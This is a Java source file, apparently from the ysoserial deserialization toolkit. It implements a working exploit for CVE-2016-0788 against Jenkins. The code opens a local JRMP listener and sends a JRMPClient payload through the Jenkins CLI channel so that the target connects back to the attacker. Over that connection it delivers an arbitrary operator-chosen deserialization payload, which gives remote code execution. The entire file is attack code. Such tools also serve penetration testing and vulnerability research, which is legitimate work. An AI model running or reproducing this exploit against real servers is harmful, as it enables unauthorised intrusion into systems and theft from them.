package ysoserial.exploit; import java.io.IOException; import java.net.InetSocketAddress; import java.rmi.registry.Registry; import java.util.Random; import hudson.remoting.Channel; import ysoserial.exploit.JRMPListener; import ysoserial.payloads.JRMPClient; import ysoserial.payloads.ObjectPayload.Utils; /** * CVE-2016-0788 exploit (2) * * - Sets up a local {@link JRMPListener} * - Delivers a {@link ysoserial.payloads.JRMPClient} payload via the CLI protocol * that will cause the remote to open a JRMP connection to our listener * - upon connection the specified payload will be delivered to the remote * (that will deserialize using a default ObjectInputStream) * * @author mbechler * */ public class JenkinsReverse { public static final void main ( final String[] args ) { if ( args.length < 4 ) { System.err.println(JenkinsListener.class.getName() + " <jenkins_url> <local_addr> <payload_type> <payload_arg>"); System.exit(-1); } final Object payloadObject = Utils.makePayloadObject(args[2], args[3]); String myAddr = args[ 1 ]; int jrmpPort = new Random().nextInt(65536 - 1024) + 1024; String jenkinsUrl = args[ 0 ]; Thread t = null; Channel c = null; try { InetSocketAddress isa = JenkinsCLI.getCliPort(jenkinsUrl); c = JenkinsCLI.openChannel(isa); JRMPListener listener = new JRMPListener(jrmpPort, payloadObject); t = new Thread(listener, "ReverseDGC"); t.setDaemon(true); t.start(); Registry payload = new JRMPClient().getObject(myAddr + ":" + jrmpPort); c.call(JenkinsCLI.getPropertyCallable(payload)); listener.waitFor(1000); listener.close(); } catch ( Throwable e ) { e.printStackTrace(); } finally { if ( c != null ) { try { c.close(); } catch ( IOException e ) { e.printStackTrace(System.err); } } if ( t != null ) { t.interrupt(); try { t.join(); } catch ( InterruptedException e ) { e.printStackTrace(System.err); } } } Utils.releasePayload(args[2], payloadObject); } }